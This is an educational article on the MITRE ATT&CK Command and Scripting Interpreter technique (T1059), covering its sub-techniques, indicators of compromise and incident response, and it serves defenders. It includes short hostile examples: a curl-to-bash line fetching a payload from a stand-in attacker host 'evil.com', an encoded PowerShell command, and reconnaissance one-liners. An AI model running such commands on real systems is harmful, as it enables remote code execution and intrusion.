MITRE ATT&CK defines Command and Scripting Interpreter as a technique adversaries use to execute arbitrary commands or scripts on a compromised system. Instead of deploying complex malware, attackers often rely on built-in interpreters (shells, scripting engines, or automation tools) that already exist on the target. This makes their activity stealthier, portable, and harder to distinguish from legitimate administrative behavior.
Why Attackers Use Command and Scripting Interpreters
- Living-off-the-Land (LotL): Uses native tools already installed on systems
- Low footprint: Minimal files dropped to disk
- Flexibility: Easy to automate, chain commands, and adapt in real time
- Evasion: Blends in with normal system administration activity
Techniques and Sub-Techniques
In MITRE ATT&CK, Command and Scripting Interpreter is cataloged as T1059, with multiple sub-techniques based on the interpreter used.
1. PowerShell (T1059.001)
PowerShell is a powerful Windows automation and configuration tool.
Adversary Uses
- Downloading payloads from remote servers
- Executing in-memory malware (fileless attacks)
- Running obfuscated or encoded commands
Example
powershell -EncodedCommand SQBtAG0AZQBuAHQ=
Why It’s Dangerous
- Deep access to Windows internals
- Widely used by administrators
- Supports stealthy, in-memory execution
2. Windows Command Shell – cmd.exe (T1059.003)
The traditional Windows command interpreter.
Adversary Uses
- Running batch scripts
- Launching other tools or malware
- Modifying files, registry, and services
Example
cmd.exe /c whoami && net user
3. Unix Shell (T1059.004)
Includes bash, sh, zsh, and similar shells on Linux and macOS.
Adversary Uses
- Executing shell scripts
- Chaining commands with pipes and redirects
- Automating persistence and lateral movement
Example
curl http://evil.com/payload.sh | bash
4. Python (T1059.006)
A cross-platform scripting language commonly installed on servers and developer machines.
Adversary Uses
- Rapid development of custom tools
- In-memory execution of malicious logic
- Data exfiltration and C2 communication
Example
python -c "import os; os.system('id')"
5. JavaScript (T1059.007)
Often executed via browsers or Windows Script Host.
Adversary Uses
- Malicious login scripts
- Droppers and loaders
- Drive-by download attacks
6. Visual Basic (T1059.005)
Includes VBA macros and VBScript.
Adversary Uses
- Malicious Office macros
- Script-based malware execution
Example
CreateObject("Wscript.Shell").Run "cmd.exe"
Indicators of Compromise (IOCs)
Common IOCs related to Command and Scripting Interpreter abuse include:
- Unexpected execution of:
powershell.execmd.exebash,shpython.exe
- Base64-encoded or heavily obfuscated commands
- Script execution from unusual directories (e.g., temp folders)
- Command-line arguments inconsistent with normal admin behavior
- Network connections spawned directly from interpreters
Incident Response (IR) Considerations
When CSI activity is detected, incident responders should:
- Identify the Interpreter
- Determine which shell or scripting engine was used
- Capture Command-Line Arguments
- Full command-line logging is critical for reconstruction
- Isolate the Host
- Prevent further command execution or lateral movement
- Analyze Script Content
- Look for obfuscation, encoded payloads, or C2 logic
- Hunt Laterally
- Check other systems for similar interpreter usage
- Improve Controls
- Enable PowerShell Constrained Language Mode
- Apply application allowlisting
- Enforce script execution policies
Summary Table (Techniques, IOCs, and IR)
| Sub-Technique | Interpreter | Common Adversary Use | Key IOCs | IR Focus |
|---|---|---|---|---|
| T1059.001 | PowerShell | Fileless malware, payload download | Encoded commands, powershell.exe -enc | Command-line logs, script block logging |
| T1059.003 | Windows CMD | Batch execution, tool launching | cmd.exe /c chains | Parent-child process analysis |
| T1059.004 | Unix Shell | Script execution, automation | Curl/Wget piped to shell | Bash history, cron jobs |
| T1059.006 | Python | Custom tooling, C2 | python -c one-liners | Script content, network traffic |
| T1059.007 | JavaScript | Droppers, browser-based attacks | .js files, WSH execution | Script origin and execution context |
| T1059.005 | Visual Basic | Office macro attacks | VBA macros, wscript.exe | Email source, macro analysis |
Closing Note
Command and Scripting Interpreter techniques remain one of the most abused and effective attack methods because they exploit trusted system functionality. Strong logging, behavioral monitoring, and interpreter hardening are essential to detect and mitigate these attacks early in the kill chain.
